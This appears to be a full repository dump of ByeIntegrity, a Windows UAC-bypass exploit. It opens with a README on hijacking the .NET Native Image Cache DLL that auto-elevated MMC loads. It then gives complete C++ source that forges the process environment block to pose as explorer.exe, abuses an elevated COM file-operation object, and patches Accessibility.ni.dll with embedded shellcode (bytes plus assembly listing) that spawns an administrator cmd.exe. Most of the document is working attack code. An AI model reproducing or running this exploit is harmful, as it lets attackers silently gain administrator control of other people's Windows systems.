## How it works ByeIntegrity hijacks a DLL located in the Native Image Cache (NIC). The NIC is used by the .NET Framework to store optimized .NET Assemblies that have been generated from programs like Ngen, the .NET Framework Native Image Generator. Because Ngen is usually run under the current user with Administrative privileges through the Task Scheduler, the NIC grants modify access for members of the Administrators group. The Microsoft Management Console (MMC) Windows Firewall Snap-in uses the .NET Framework, and upon initializing it, modules from the NIC are loaded into the MMC process. The MMC executable uses AutoElevate, a mechanism Windows uses that automatically elevates a process’s token without UAC prompting. ByeIntegrity hijacks a specific DLL located in the NIC named `Accessibility.ni.dll`. It writes some shellcode into an appropriately-sized area of padding located in the `.text` section of the DLL. The entry point of the DLL is then updated to point to the shellcode. Upon DLL load, the entry point (which is actually the shellcode) is executed. The shellcode calculates the address of `kernel32!CreateProcessW`, creates a new instance of `cmd.exe` running as an Administrator, and then simply returns `TRUE`. This is only for the `DLL_PROCESS_ATTACH` reason; all other reasons will immediately return `TRUE`. ## UACMe This attack is implemented in UACMe as method #63. If you want to try out this attack, please, use UACMe first. The attack is the same, however, UACMe uses a different method to modify the NIC. ByeIntegrity uses `IFileOperation` while UACMe uses `ISecurityEditor`. In addition, UACMe chooses the correct `Accessibility.ni.dll` for your system and preforms the system maintenance tasks if necessary (to generate the NIC components). ByeIntegrity simply chooses the first NIC entry that exists (which may/may not be the correct entry that MMC is using) and does not run the system maintenance tasks. ByeIntegrity contains **significantly** more code than UACMe, so reading the UACMe implementation will be much easier to understand than reading the ByeIntegrity code. Lastly, ByeIntegrity launches a child process during the attack whereas UACMe does not. **tl;dr: UACMe is simpler and more effective than ByeIntegrity, so use UACMe first.** ## Using the code If you’re reading this then you probably know how to compile the source. Just note that this hasn’t been tested or designed with x86 in mind at all, and it probably won’t work on x86 anyways. Just like UACMe, **I will never upload compiled binaries to this repo.** There are always people who want the world to crash and burn, and I'm not going to provide an easy route for them to run this on somebody else's computer and cause intentional damage. I also don't want script-kiddies to use this attack without understanding what it does and the damage it can cause. ## Supported Versions This attack works from Windows 7 (7600) up until the latest version of Windows. ================================================ FILE: byeintegrity/byeintegrity.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 {E1F82946-041D-49F3-860B-7CF7EC2C9620} byeintegrity 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode true true false false Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Default Console true shlwapi.lib;%(AdditionalDependencies) Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Default Console true shlwapi.lib;%(AdditionalDependencies) Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Default None MultiThreaded Console true true false shlwapi.lib;%(AdditionalDependencies) true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Default None MultiThreaded Console true true false shlwapi.lib;%(AdditionalDependencies) true ================================================ FILE: byeintegrity/byeintegrity.vcxproj.filters ================================================  ================================================ FILE: byeintegrity/integritybye.cpp ================================================ #include #include #include #include #include #include #pragma region NT Stuff typedef struct _UNICODE_STRING { unsigned short Length; unsigned short MaximumLength; long Padding_8; wchar_t* Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _CURDIR { struct _UNICODE_STRING DosPath; void* Handle; } CURDIR, * PCURDIR; typedef struct _STRING { unsigned short Length; unsigned short MaximumLength; long Padding_94; char* Buffer; } STRING, * PSTRING; typedef struct _RTL_DRIVE_LETTER_CURDIR { unsigned short Flags; unsigned short Length; unsigned long TimeStamp; struct _STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { unsigned long MaximumLength; unsigned long Length; unsigned long Flags; unsigned long DebugFlags; void* ConsoleHandle; unsigned long ConsoleFlags; long Padding_95; void* StandardInput; void* StandardOutput; void* StandardError; struct _CURDIR CurrentDirectory; struct _UNICODE_STRING DllPath; struct _UNICODE_STRING ImagePathName; struct _UNICODE_STRING CommandLine; void* Environment; unsigned long StartingX; unsigned long StartingY; unsigned long CountX; unsigned long CountY; unsigned long CountCharsX; unsigned long CountCharsY; unsigned long FillAttribute; unsigned long WindowFlags; unsigned long ShowWindowFlags; long Padding_96; struct _UNICODE_STRING WindowTitle; struct _UNICODE_STRING DesktopInfo; struct _UNICODE_STRING ShellInfo; struct _UNICODE_STRING RuntimeData; struct _RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; unsigned __int64 EnvironmentSize; unsigned __int64 EnvironmentVersion; void* PackageDependencyData; unsigned long ProcessGroupId; unsigned long LoaderThreads; struct _UNICODE_STRING RedirectionDllName; struct _UNICODE_STRING HeapPartitionName; unsigned __int64* DefaultThreadpoolCpuSetMasks; unsigned long DefaultThreadpoolCpuSetMaskCount; long __PADDING__[1]; } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; constexpr auto PEB_OFFSET = 0x60ULL; constexpr auto PROCESS_PARAM_OFFSET = 0x20ULL; constexpr auto BASENAME_OFFSET = 0x58ULL; constexpr auto FULLNAME_OFFSET = 0x48ULL; constexpr auto DLL_BASE_OFFSET = 0x30ULL; #pragma endregion using RtlInitUnicodeStringPtr = void(NTAPI*)(PUNICODE_STRING, PCWSTR); using LDR_ENUM_CALLBACK = void(NTAPI*)(PVOID, PVOID, PBOOLEAN); using LdrEnumerateLoadedModulesPtr = NTSTATUS(NTAPI*)(ULONG, LDR_ENUM_CALLBACK, PVOID); struct LDR_CALLBACK_PARAMS { PCWCHAR ExplorerPath; PVOID ImageBase; RtlInitUnicodeStringPtr RtlInitUnicodeString; }; const BYTE SHELL_CODE[] = { 0x80, 0xFA, 0x01, 0x0F, 0x85, 0xA1, 0x00, 0x00, 0x00, 0x57, 0x48, 0x81, 0xEC, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x70, 0x48, 0x89, 0xC7, 0x31, 0xC0, 0xB9, 0x68, 0x00, 0x00, 0x00, 0xF3, 0xAA, 0xC7, 0x44, 0x24, 0x70, 0x68, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x50, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8D, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0xC7, 0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x45, 0x31, 0xC9, 0x45, 0x31, 0xC0, 0x31, 0xD2, 0x48, 0x8D, 0x0D, 0x41, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x60, 0x48, 0x8B, 0x00, 0x48, 0x83, 0xC0, 0x18, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x40, 0x10, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x40, 0x30, 0x4D, 0x31, 0xE4, 0x41, 0xBC, 0xEF, 0xBE, 0xAD, 0xDE, 0x4C, 0x01, 0xE0, 0xFF, 0xD0, 0x48, 0x81, 0xC4, 0xE0, 0x00, 0x00, 0x00, 0x5F, 0x48, 0x31, 0xC0, 0xB0, 0x01, 0xC3 }; void CreateElevatedCopyObject(IFileOperation** fileOperation) { std::wstring command{ L"Elevation:Administrator!new:" }; WCHAR clsid[40]; BIND_OPTS3 bind; if (!StringFromGUID2(CLSID_FileOperation, clsid, sizeof clsid / sizeof(WCHAR))) { *fileOperation = nullptr; std::cout << "Cannot create CLSID string\n"; return; } command += clsid; ZeroMemory(&bind, sizeof(BIND_OPTS3)); bind.cbStruct = sizeof(BIND_OPTS3); bind.dwClassContext = CLSCTX_LOCAL_SERVER; const auto result = CoGetObject(command.c_str(), &bind, IID_IFileOperation, reinterpret_cast(fileOperation)); if (FAILED(result)) std::cout << "CoGetObject() failed. HRESULT: 0x" << std::hex << result << std::endl; } void ForgeProcessInformation(const PCWCHAR explorerPath, const RtlInitUnicodeStringPtr RtlInitUnicodeString, const LdrEnumerateLoadedModulesPtr LdrEnumerateLoadedModules) { const auto pPeb = *reinterpret_cast(reinterpret_cast(NtCurrentTeb()) + PEB_OFFSET); auto pProcessParams = *reinterpret_cast(pPeb + PROCESS_PARAM_OFFSET); RtlInitUnicodeString(&pProcessParams->ImagePathName, explorerPath); RtlInitUnicodeString(&pProcessParams->CommandLine, L"explorer.exe"); LDR_CALLBACK_PARAMS params{ explorerPath, GetModuleHandleW(nullptr), RtlInitUnicodeString }; LdrEnumerateLoadedModules(0, [](PVOID ldrEntry, PVOID context, PBOOLEAN stop) { auto* params = static_cast(context); if (*reinterpret_cast(reinterpret_cast(ldrEntry) + DLL_BASE_OFFSET) == reinterpret_cast< ULONG_PTR>(params->ImageBase)) { const auto baseName = reinterpret_cast(static_cast(ldrEntry) + BASENAME_OFFSET), fullName = reinterpret_cast(static_cast(ldrEntry) + FULLNAME_OFFSET); params->RtlInitUnicodeString(baseName, L"explorer.exe"); params->RtlInitUnicodeString(fullName, params->ExplorerPath); *stop = TRUE; } }, reinterpret_cast(¶ms)); } int ChildMain(const PWCHAR commandLine) { PWSTR path; if (FAILED(SHGetKnownFolderPath(FOLDERID_Windows, 0, nullptr, &path))) return EXIT_FAILURE; std::wstring explorer{ path }; explorer += L"\\explorer.exe"; CoTaskMemFree(path); SHELLSTATEW shellState; shellState.fNoConfirmRecycle = TRUE; SHGetSetSettings(&shellState, SSF_NOCONFIRMRECYCLE, TRUE); ForgeProcessInformation(explorer.c_str(), reinterpret_cast( GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlInitUnicodeString")), reinterpret_cast(GetProcAddress( GetModuleHandleW(L"ntdll.dll"), "LdrEnumerateLoadedModules"))); if (FAILED(CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE | COINIT_SPEED_OVER_MEMORY))) return EXIT_FAILURE; IFileOperation* fileOperation; CreateElevatedCopyObject(&fileOperation); if (!fileOperation) { CoUninitialize(); return EXIT_FAILURE; } IShellItem* item; if (FAILED(SHCreateItemFromParsingName(commandLine + 7, nullptr, IID_IShellItem, reinterpret_cast(&item)))) { fileOperation->Release(); CoUninitialize(); return EXIT_FAILURE; } if (FAILED(fileOperation->DeleteItem(item, nullptr))) { item->Release(); fileOperation->Release(); CoUninitialize(); return EXIT_FAILURE; } if (FAILED(fileOperation->PerformOperations())) { item->Release(); fileOperation->Release(); CoUninitialize(); return EXIT_FAILURE; } item->Release(); fileOperation->Release(); CoUninitialize(); return 0; } int wmain(int, wchar_t* argv[]) { if (wcscmp(argv[0], L"delete") == 0) return ChildMain(argv[0]); if (wcscmp(argv[0], L"launch") == 0) { if (reinterpret_cast(ShellExecuteW(nullptr, L"open", L"mmc.exe", L"WF.msc", nullptr, SW_HIDE)) <= 32) return EXIT_FAILURE; return 0; } /* Locals */ PWSTR path, systemPath; HRESULT result; std::wstring fullPath, cmdPath, explorer, fusionIni; WIN32_FIND_DATAW findData; HANDLE findHandle, fileHandle, mapping; PVOID pTargetFile; PIMAGE_NT_HEADERS headers; PIMAGE_SECTION_HEADER section; PBYTE zeroBlock; RtlInitUnicodeStringPtr RtlInitUnicodeString; LdrEnumerateLoadedModulesPtr LdrEnumerateLoadedModules; IFileOperation* fileOperation; LSTATUS status; DWORD openResult; HKEY userKey; IShellItem* assemblyFolder, * dummyFile; ULONG_PTR requiredSize; PWCHAR currentDirectory; IShellItem* existingFile, * targetFile, * targetFolder; STARTUPINFOW startupInfo{ sizeof STARTUPINFOW, nullptr }; PROCESS_INFORMATION processInfo; std::wstring launchCmd{ L"delete " }; DWORD exitCode; /* * STAGE 1 * Find the target DLL file's path. */ result = SHGetKnownFolderPath(FOLDERID_Windows, 0, nullptr, &path); if (FAILED(result)) { std::cout << "SHGetKnownFolderPath() (0) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } result = SHGetKnownFolderPath(FOLDERID_System, 0, nullptr, &systemPath); if (FAILED(result)) { std::cout << "SHGetKnownFolderPath() (1) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } fullPath = path; cmdPath = systemPath; explorer = path; fusionIni = path; fullPath += L"\\assembly\\NativeImages_v4.0.30319_64\\Accessibility\\*.*"; cmdPath += L"\\cmd.exe"; explorer += L"\\explorer.exe"; fusionIni += L"\\assembly\\Desktop.ini"; CoTaskMemFree(path); CoTaskMemFree(systemPath); tryagain: findHandle = FindFirstFileW(fullPath.c_str(), &findData); if (findHandle == INVALID_HANDLE_VALUE) { if (fullPath.find(L"\\assembly\\NativeImages_v4.0.30319_64\\Accessibility\\*.*") != std::string::npos) { fullPath = fullPath.substr(0, fullPath.find(L"\\assembly\\NativeImages_v4.0.30319_64\\Accessibility\\*.*")); fullPath += L"\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\*.*"; goto tryagain; } std::cout << "FindFirstFileW() failed. Last error: " << GetLastError() << std::endl; return EXIT_FAILURE; } for (auto i = 0; i != 2; ++i) { if (!FindNextFileW(findHandle, &findData)) { if (GetLastError() == ERROR_NO_MORE_FILES) std::wcout << "No token folder exists under " << fullPath.c_str() << std::endl; else std::cout << "FindNextFileW() failed. Error: " << GetLastError() << std::endl; FindClose(findHandle); return EXIT_FAILURE; } } fullPath.pop_back(); fullPath.pop_back(); fullPath.pop_back(); fullPath += findData.cFileName; fullPath += L"\\Accessibility.ni.dll"; FindClose(findHandle); /* * END STAGE 1 */ /* * STAGE 2 * Copy the target dll, infect it and save it as "infect.dll". */ if (!CopyFileW(fullPath.c_str(), L"infect.dll", FALSE)) { std::wcout << L"Failed to copy " << fullPath.c_str() << L" to the current directory. Error: " << GetLastError() << std::endl; return EXIT_FAILURE; } fileHandle = CreateFileW(L"infect.dll", FILE_READ_ACCESS | FILE_WRITE_ACCESS, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (fileHandle == INVALID_HANDLE_VALUE) { std::cout << "Failed to open 'infect.dll'. Error: " << GetLastError() << std::endl; return EXIT_FAILURE; } mapping = CreateFileMappingW(fileHandle, nullptr, PAGE_READWRITE, 0, 0, nullptr); if (!mapping) { CloseHandle(fileHandle); std::cout << "CreateFileMapping() failed. Error: " << GetLastError() << std::endl; return EXIT_FAILURE; } pTargetFile = MapViewOfFile(mapping, FILE_MAP_ALL_ACCESS, 0, 0, 0); if (!pTargetFile) { CloseHandle(mapping); CloseHandle(fileHandle); std::cout << "MapViewOfFile() failed. Error: " << GetLastError() << std::endl; return EXIT_FAILURE; } headers = reinterpret_cast(static_cast(pTargetFile) + static_cast< PIMAGE_DOS_HEADER>(pTargetFile)->e_lfanew); section = IMAGE_FIRST_SECTION(headers); while (std::strcmp(".text", reinterpret_cast(section->Name))) ++section; zeroBlock = static_cast(pTargetFile) + section->PointerToRawData; for (; ++zeroBlock;) { auto fail = false; for (auto* z = zeroBlock; z != zeroBlock + sizeof SHELL_CODE + (cmdPath.size() * 2) + sizeof(L'\0'); ++z) { if (*z) { fail = true; break; } } if (!fail) break; } memcpy(zeroBlock, SHELL_CODE, sizeof SHELL_CODE); memcpy(zeroBlock + sizeof SHELL_CODE, cmdPath.c_str(), (cmdPath.size() * 2) + sizeof(L'\0')); *reinterpret_cast(zeroBlock + 0x99) = static_cast(reinterpret_cast(CreateProcessW) - reinterpret_cast(GetModuleHandleW(L"kernel32.dll"))); auto offset = static_cast(zeroBlock - static_cast(pTargetFile)); offset -= section->PointerToRawData; offset += section->VirtualAddress; headers->OptionalHeader.AddressOfEntryPoint = offset; if (!FlushViewOfFile(pTargetFile, 0)) { UnmapViewOfFile(pTargetFile); CloseHandle(mapping); CloseHandle(fileHandle); std::cout << "FlushViewOfFile() failed. Error: " << GetLastError() << std::endl; return EXIT_FAILURE; } UnmapViewOfFile(pTargetFile); CloseHandle(mapping); CloseHandle(fileHandle); /* * END STAGE 2 */ /* * STAGE 3 * Forge process information to allow IFileOperation as Administrator w/o UAC prompt. */ RtlInitUnicodeString = reinterpret_cast(GetProcAddress( GetModuleHandleW(L"ntdll.dll"), "RtlInitUnicodeString")); LdrEnumerateLoadedModules = reinterpret_cast(GetProcAddress( GetModuleHandleW(L"ntdll.dll"), "LdrEnumerateLoadedModules")); ForgeProcessInformation(explorer.c_str(), RtlInitUnicodeString, LdrEnumerateLoadedModules); result = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE | COINIT_SPEED_OVER_MEMORY); if (FAILED(result)) { std::cout << "CoInitializeEx() failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } CreateElevatedCopyObject(&fileOperation); if (!fileOperation) { CoUninitialize(); return EXIT_FAILURE; } /* * END STAGE 3 */ /* * STAGE 4 * Create a registry key that allows us to bypass the shfusion.dll restriction. * Only do this if the "desktop.ini" exists in the folder. */ if (!PathFileExistsW(fusionIni.c_str())) goto DoAttackDirect; if ((status = RegCreateKeyExW( HKEY_CURRENT_USER, L"SOFTWARE\\Classes\\CLSID\\{1D2680C9-0E2A-469d-B787-065558BC7D43}", 0, nullptr, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY | KEY_SET_VALUE, nullptr, &userKey, &openResult))) { fileOperation->Release(); CoUninitialize(); std::cout << "RegCreateKeyExW() (0) failed. Error " << status << std::endl; return EXIT_FAILURE; } if ((status = RegSetValueExW(userKey, nullptr, 0, REG_SZ, reinterpret_cast(L""), sizeof(L"")))) { fileOperation->Release(); RegCloseKey(userKey); CoUninitialize(); std::cout << "RegSetValueExW() (0) failed. Error " << status << std::endl; return EXIT_FAILURE; } if ((status = RegCreateKeyExW(userKey, L"Server", 0, nullptr, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, nullptr, &userKey, &openResult))) { fileOperation->Release(); RegCloseKey(userKey); CoUninitialize(); std::cout << "RegCreateKeyExW() (1) failed. Error " << status << std::endl; return EXIT_FAILURE; } if ((status = RegSetValueExW(userKey, nullptr, 0, REG_SZ, reinterpret_cast(L""), sizeof(L"")))) { fileOperation->Release(); RegCloseKey(userKey); CoUninitialize(); std::cout << "RegSetValueExW() (1) failed. Error " << status << std::endl; return EXIT_FAILURE; } RegCloseKey(userKey); /* * END STAGE 4 */ /* * BEGIN STAGE 5 * Force copy new Desktop.ini into assembly folder to disable shfusion.dll via IFileOperation bug. */ CreateDirectoryW(L"byeinteg_files", nullptr); CloseHandle(CreateFileW(L"byeinteg_files\\Desktop.ini", FILE_WRITE_ACCESS, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr)); explorer = explorer.substr(0, explorer.find(L"explorer.exe")); explorer += L"assembly"; result = SHCreateItemFromParsingName(explorer.c_str(), nullptr, IID_IShellItem, reinterpret_cast(&assemblyFolder)); if (FAILED(result)) { fileOperation->Release(); CoUninitialize(); std::cout << "SHCreateItemFromParsingName() (0) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } requiredSize = static_cast(GetCurrentDirectoryW(0, nullptr)); currentDirectory = new WCHAR[requiredSize + 27]; GetCurrentDirectoryW(static_cast(requiredSize), currentDirectory); wcscat_s(currentDirectory, requiredSize + 27, L"\\byeinteg_files\\Desktop.ini"); result = SHCreateItemFromParsingName(currentDirectory, nullptr, IID_IShellItem, reinterpret_cast(&dummyFile)); delete[] currentDirectory; if (FAILED(result)) { assemblyFolder->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "SHCreateItemFromParsingName() (1) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } result = fileOperation->SetOperationFlags(FOF_NOCONFIRMATION | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION | FOF_NOERRORUI); if (FAILED(result)) { dummyFile->Release(); assemblyFolder->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "IFileOperation::SetOperationFlags() failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } result = fileOperation->CopyItem(dummyFile, assemblyFolder, nullptr, nullptr); if (FAILED(result)) { assemblyFolder->Release(); dummyFile->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "IFileOperation::CopyItem() failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } result = fileOperation->PerformOperations(); if (FAILED(result)) { assemblyFolder->Release(); dummyFile->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "IFileOperation::PerformOperations() (0) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } assemblyFolder->Release(); dummyFile->Release(); /* * END STAGE 5 */ /* * BEGIN STAGE 6 * Undo changes to the registry so we can browse the assembly folder completely normally. * Also delete the dummy Desktop.ini we copied over there. */ if ((status = RegCreateKeyExW( HKEY_CURRENT_USER, L"SOFTWARE\\Classes\\CLSID\\{1D2680C9-0E2A-469d-B787-065558BC7D43}", 0, nullptr, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, nullptr, &userKey, &openResult))) { fileOperation->Release(); CoUninitialize(); std::cout << "RegCreateKeyExW() (2) failed. Error " << status << std::endl; return EXIT_FAILURE; } if ((status = RegDeleteKeyExW(userKey, L"Server", KEY_WOW64_64KEY, 0))) { RegCloseKey(userKey); fileOperation->Release(); CoUninitialize(); std::cout << "RegDeleteKeyExW() (0) failed. Error " << status << std::endl; return EXIT_FAILURE; } RegCloseKey(userKey); if ((status = RegDeleteKeyExW( HKEY_CURRENT_USER, L"SOFTWARE\\Classes\\CLSID\\{1D2680C9-0E2A-469d-B787-065558BC7D43}", KEY_WOW64_64KEY, 0))) { fileOperation->Release(); CoUninitialize(); std::cout << "RegDeleteKeyExW() (1) failed. Error " << status << std::endl; return EXIT_FAILURE; } // Launch the delete process explorer += L"\\Desktop.ini"; launchCmd += explorer; if (!CreateProcessW(argv[0], const_cast(launchCmd.c_str()), nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startupInfo, &processInfo)) { fileOperation->Release(); CoUninitialize(); std::cout << "CreateProcessW() (0) failed. Error: " << GetLastError() << std::endl; return EXIT_FAILURE; } WaitForSingleObject(processInfo.hProcess, INFINITE); GetExitCodeProcess(processInfo.hProcess, &exitCode); CloseHandle(processInfo.hThread); CloseHandle(processInfo.hProcess); if (exitCode) { fileOperation->Release(); CoUninitialize(); std::cout << "The child process failed to delete the target file.\n"; return EXIT_FAILURE; } /* * END STAGE 6 */ /* * STAGE 7 * Delete the original Accessibility.ni.dll file and move our inject.dll file with the correct name over there. */ DoAttackDirect: result = SHCreateItemFromParsingName(fullPath.c_str(), nullptr, IID_IShellItem, reinterpret_cast(&existingFile)); if (FAILED(result)) { fileOperation->Release(); CoUninitialize(); std::cout << "SHCreateItemFromParsingName() (2) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } fullPath = fullPath.substr(0, fullPath.size() - std::wcslen(L"Accessibility.ni.dll")); result = SHCreateItemFromParsingName(fullPath.c_str(), nullptr, IID_IShellItem, reinterpret_cast(&targetFolder)); if (FAILED(result)) { existingFile->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "SHCreateItemFromParsingName() (3) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } requiredSize = static_cast(GetCurrentDirectoryW(0, nullptr)); currentDirectory = new WCHAR[requiredSize + 11]; GetCurrentDirectoryW(static_cast(requiredSize), currentDirectory); wcscat_s(currentDirectory, requiredSize + 11, L"\\infect.dll"); result = SHCreateItemFromParsingName(currentDirectory, nullptr, IID_IShellItem, reinterpret_cast(&targetFile)); if (FAILED(result)) { delete[] currentDirectory; targetFolder->Release(); existingFile->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "SHCreateItemFromParsingName() (4) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } delete[] currentDirectory; result = fileOperation->RenameItem(existingFile, L"Accessibility.ni.dll.bak", nullptr); if (FAILED(result)) { targetFile->Release(); targetFolder->Release(); existingFile->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "IFileOperation::RenameItem() failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } result = fileOperation->MoveItem(targetFile, targetFolder, L"Accessibility.ni.dll", nullptr); if (FAILED(result)) { targetFile->Release(); targetFolder->Release(); existingFile->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "IFileOperation::MoveItem() failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } result = fileOperation->PerformOperations(); if (FAILED(result)) { targetFile->Release(); targetFolder->Release(); existingFile->Release(); fileOperation->Release(); CoUninitialize(); std::cout << "IFileOperation::PerformOperations() (1) failed. HRESULT: 0x" << std::hex << result << std::endl; return EXIT_FAILURE; } targetFile->Release(); targetFolder->Release(); existingFile->Release(); fileOperation->Release(); CoUninitialize(); /* * END STAGE 7 */ /* * STAGE 8 * Launch the Firewall Snap-in via WF.msc to execute the exploit and do the attack. * Also delete infect.dll and the dummy Desktop.ini file. */ /* Launch the launch process. This is for Windows 7, because it seems like messing with the PEB causes * ShellExecute(Ex) to run out of memory. Makes no sense at all but that's how it is. */ DeleteFileW(L"infect.dll"); DeleteFileW(L"byeinteg_files\\Desktop.ini"); RemoveDirectoryW(L"byeinteg_files"); if (!CreateProcessW(argv[0], const_cast(L"launch"), nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startupInfo, &processInfo)) { std::cout << "CreateProcessW() (1) Error: " << GetLastError() << std::endl; return EXIT_FAILURE; } WaitForSingleObject(processInfo.hProcess, INFINITE); GetExitCodeProcess(processInfo.hProcess, &exitCode); CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); if (exitCode) { std::cout << "The child process failed to launch mmc.exe\n"; return EXIT_FAILURE; } /* * END STAGE 8 */ // Finally, we can print success and exit. SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 15); std::cout << "[+] "; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14); std::cout << "*** Exploit successful.\n\n"; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); return 0; } ================================================ FILE: byeintegrity/shellcode.txt ================================================ cmp dl, 1 jne exitNow push rdi sub rsp, 224 lea rax, qword ptr 112[rsp] mov rdi, rax xor eax, eax mov ecx, 104 rep stosb mov dword ptr 112[rsp], 104 lea rax, qword ptr 80[rsp] mov qword ptr [rsp+72], rax lea rax, qword ptr 112[rsp] mov qword ptr [rsp+64], rax mov qword ptr [rsp+56], 0 mov qword ptr [rsp+48], 0 mov dword ptr [rsp+40], 0 mov dword ptr [rsp+32], 0 xor r9d, r9d xor r8d, r8d xor edx, edx lea rcx, [rip + 0x41] mov rax, QWORD PTR gs:[0x30] add rax, 0x60 mov rax, [rax] add rax, 0x18 mov rax, [rax] mov rax, [rax + 0x10] mov rax, [rax] mov rax, [rax] mov rax, [rax + 0x30] xor r12, r12 mov r12d, 0xdeadbeef add rax, r12 ;now RAX has is the address of CreateProcessW call rax add rsp, 224 pop rdi exitNow: xor rax, rax mov al, 1 ret ================================================ FILE: byeintegrity.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.0.31903.59 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "byeintegrity", "byeintegrity\byeintegrity.vcxproj", "{E1F82946-041D-49F3-860B-7CF7EC2C9620}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AUXGen", "AUXGen\AUXGen.vcxproj", "{B4192E53-737A-409E-96AB-7013F6863072}" EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "2021 Update", "2021 Update", "{FC0FB17B-8AB3-4A56-B1BC-A43C00F50A53}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ByeIntegrity2021", "ByeIntegrity2021\ByeIntegrity2021.vcxproj", "{7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "payload", "payload\payload.vcxproj", "{24A262C7-3655-44A2-AEC5-05D645194830}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|Any CPU = Release|Any CPU Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Debug|Any CPU.ActiveCfg = Debug|x64 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Debug|Any CPU.Build.0 = Debug|x64 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Debug|x64.ActiveCfg = Debug|x64 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Debug|x64.Build.0 = Debug|x64 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Debug|x86.ActiveCfg = Debug|Win32 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Debug|x86.Build.0 = Debug|Win32 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Release|Any CPU.ActiveCfg = Release|x64 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Release|Any CPU.Build.0 = Release|x64 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Release|x64.ActiveCfg = Release|x64 